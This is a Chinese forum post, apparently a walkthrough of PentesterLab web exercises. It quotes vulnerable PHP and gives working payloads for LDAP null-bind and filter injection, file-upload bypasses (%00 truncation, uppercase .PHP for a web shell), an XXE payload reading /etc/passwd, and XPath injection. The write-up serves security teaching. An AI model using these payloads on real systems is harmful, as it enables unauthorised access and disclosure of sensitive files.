可以把他和数据库类比,LDAP 是一个为查询、浏览、搜索而优化的专业分布式数据库,它成树状结构组织数据,就好像 Linux/Unix 系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以 LDAP 天生是用来查询的。

Example 1 空认证

关键代码:Php


 
 
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
 
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
 
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
 
if ($ld) {
 
if (isset($_GET["username"])) {
 
$user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
 
}
 
$lb = @ldap_bind($ld, $user,$_GET["password"]);
 
 
 
if ($lb) {
 
echo "AUTHENTICATED";
 
}
 
else {
 
echo "NOT AUTHENTICATED";
 
}
 
}

 
 

使用用户名和密码连接到 LDAP 服务器。在这里 LDAP 服务器身份验证不会成功,因为 username=&password=凭据无效。但是,一些 LDAP 服务器授权空绑定:如果发送空值,LDAP 服务器将继续绑定连接,要使用空值获取绑定,需要从查询中完全删除此参数,PHP 代码将认为凭据是正确的:Php


 
 
$lb = @ldap_bind($ld, $user,$_GET["password"]);
 
 
 
if ($lb) {
 
echo "AUTHENTICATED";
 
}

 
 

所以本关的 payload 如下:Payload


 
 
/ldap/example1.php

 
 
15908136108064.png

Example 2 LDAP 注入

关键代码:Php


 
 
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
 
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
 
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
 
if ($ld) {
 
$lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
 
if ($lb) {
 
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
 
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
 
if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
 
echo("Unable to search ldap server<br>");
 
echo("msg:'".ldap_error($ld)."'</br>");
 
} else {
 
$number_returned = ldap_count_entries($ld,$search);
 
$info = ldap_get_entries($ld, $search);
 
if ($info["count"] < 1) {
 
//NOK
 
echo "UNAUTHENTICATED";
 
}
 
else {
 
echo "AUTHENTICATED as";
 
echo(" ".htmlentities($info[0]['uid'][0]));
 
}
 
}
 
}
 
}

 
 

LDAP 查询的基本语法:Bash


 
 
# 查询name为Tom的所有对象 这里括号强调LDAP语句的开始和结束
 
(name=Tom)
 
 
 
# 查询name为Tom并且passwd为123的对象
 
# 每个条件都在自己的括号里面,整个语句也要括号包裹起来。&表示逻辑与。
 
(&(name=Tom)(passwd=123))
 
 
 
# 查询名字是T开头的所有对象 通配符*可以表示任何值
 
(name=T*)

 
 

LDAP 注入攻击和 SQL 注入攻击相似,因此接下来的想法是利用用户引入的参数生成 LDAP 查询,默认的查询链接如下:Payload


 
 
/ldap/example2.php?name=hacker&password=hacker

 
 

下面是简单的测试:Bash


 
 
# 认证成功 默认正常情况
 
name=hacker&password=hacker
 
 
 
# 认证成功 通配符 可以表示 hacker
 
name=ha*&password=hacker
 
 
 
# 认证失败 因为 password 被 md5 家了
 
name=hacker&password=ha*

 
 

现在重点关注查询的代码:Php


 
 
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
 
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";

 
 

当 name 输入内容如下的话:Payload


 
 
hacker)(cn=*))%00

 
 

带入到 $ filter 语句中就是如下效果:Php


 
 
$filter = "(&(cn=hacker)(cn=*))%00)(userPassword=".$pass."))";

 
 

)用来闭合前面的括号,(cn=*)是一个永真的条件,%00注释掉后面的语句。

所以最终的 payload 可以如下:Payload


 
 
/ldap/example2.php?name=hacker))%00&password=233
 
/ldap/example2.php?name=admin))%00&password=233
 
/ldap/example2.php?name=hacker)(cn=*))%00&password=233

 
 

File Upload 文件上传

Example 1

关键代码:Php


 
 
<?php
 
if(isset($_FILES['image']))
 
{
 
$dir = '/var/www/upload/images/';
 
$file = basename($_FILES['image']['name']);
 
if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
 
{
 
echo "Upload done";
 
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
 
}
 
else
 
{
 
echo 'Upload failed';
 
}
 
}
 
?>

 
 

代码中可以看出无任何过滤措施,可以直接上传 PHP 文件来 getshell,服务器也返回了上传文件的路径信息:

15908158245698.png

Example 2 %00 截断、大小写绕过

关键代码:Php


 
 
<?php
 
if(isset($_FILES['image']))
 
{
 
$dir = '/var/www/upload/images/';
 
$file = basename($_FILES['image']['name']);
 
if (preg_match('/\.php$/',$file)) {
 
DIE("NO PHP");
 
}
 
?>

 
 

preg_match 正则检测,如果发现是 .php 后缀的话,直接就终止函数。

  1. %00 截断

这里可以使用经典的 %00 截断来绕过:

15908162919592.png

这样依然是可以成功上传 PHP 后缀的文件的

  1. 大小写绕过

因为 preg_match 没有使用 /i 匹配大小写模式,导致可以使用大写的 PHP 后缀来绕过:

15908164492230.png

XML attack XML 攻击

XML 允许用户在 XML 文档内自定义实体,以此来扩展其标准实体集。这些自定义实体可以直接写在可选的 DOCTYPE 中,而它们代表的扩展值则可引用一个外部资源。正是 XML 的这种支持自定义引用、可引用外部资源内容的可扩展性,导致系统易受 XXE 的攻击。

  • ENTITY 实体

如果在 XML 文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个 ENTITY,然后再在文档中调用它。

XML定义了两种类型的 ENTITY,一种在XML文档中使用,另一种在为参数在 DTD 文件中使用。

ENTITY 的定义语法:Xml


 
 
<!DOCTYPE 文件名 [
 
<!ENTITY 实体名 "实体内容">
 
]>

 
 

定义好的 ENTITY 在文档中通过 &实体名;来使用,这里举一个例子:Xml


 
 
<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE balabala [
 
<!ENTITY name "Tom" >
 
]>
 
<root>
 
<name>&name;</name>
 
</root>

 
 

定义一个 name 值为 Tom,就可以在 XML 任何地方引用。

前面还加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。Xml


 
 
<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE balabala [
 
<!ENTITY name SYSTEM "file:///etc/passwd" >
 
]>
 
<name>&name;</name>

 
 

Example 1

关键代码:Php


 
 
Hello
 
<?php
 
$xml=simplexml_load_string($_GET['xml']);
 
print_r((string)$xml);
 
?>

 
 
  • simplexml_load_string

函数把 XML 字符串载入对象中,如果失败,则返回 false。Php


 
 
simplexml_load_file(string,class,options,ns,is_prefix)

 
 
参数 说明
string 必需,规定要使用的 XML 字符串
class 可选,规定新对象的 class
options 可选,规定附加的 Libxml 参数
ns 可选,命名空间前缀或URI
is_prefix TRUE如果ns是前缀,FALSE则为URI;默认为FALSE

知道 XXE 的原理后,尝试包含本地敏感文件:Xml


 
 
<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>

 
 

需要进行 URL 编码:Payload


 
 
/xml/example1.php?xml=%3C%21DOCTYPE%20xxx%5B%3C%21ENTITY%20name%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2fname%3E

 
 

最终效果如下:

15908342703024.png

Example 2

关键代码:Php


 
 
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";
 
 
 
$xml=simplexml_load_string($x);
 
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
 
$res = ($xml->xpath($xpath));
 
while(list( ,$node) = each($res)) {
 
echo $node;
 
}

 
 

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。

XPath 基本语法:Bash


 
 
bookstore # 选取 bookstore 元素的所有子节点。
 
/bookstore # 选取根元素 bookstore。
 
bookstore/book # 选取属于 bookstore 的子元素的所有 book 元素。
 
//book # 选取所有 book子元素,而不管它们在文档中的位置。
 
bookstore//book # 选择属于 bookstore 元素的后代的所有 book 元素
 
//@lang # 选取名为 lang 的所有属性。

 
 

本关中涉及到的 XML 代码美化后如下:Xml


 
 
<data>
 
<users>
 
<user>
 
<name>hacker</name>
 
<message>Hello hacker</message>
 
<password>pentesterlab</password>
 
</user>
 
<user>
 
<name>admin</name>
 
<message>Hello admin</message>
 
<password>s3cr3tP4ssw0rd</password>
 
</user>
 
</users>
 
</data>

 
 

和之前的 LDAP 注入差不多,闭合原来的语句,%00 截断注释掉后面语句,构造一个永真条件实现 XML 注入:Payload


 
 
' or 1=1]%00

 
 

带入到 xpath 中的语句如下:Php


 
 
users/user/name[.='' or 1=1]%00']/parent::*/message

 
 

所以最终的 payload 如下:Payload


 
 
/xml/example2.php?name=' or 1=1]%00

 
 
15908430236007.png

同时查询出 hacker 和 admin 用户的信息。

查询所有子节点的 payload 为:Payload


 
 
/xml/example2.php?name=' or 1=1]/parent::*/child::node()%00

 
 
15908431037017.png

参考资料

Link to comment
Share on other sites

  • 9 months later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now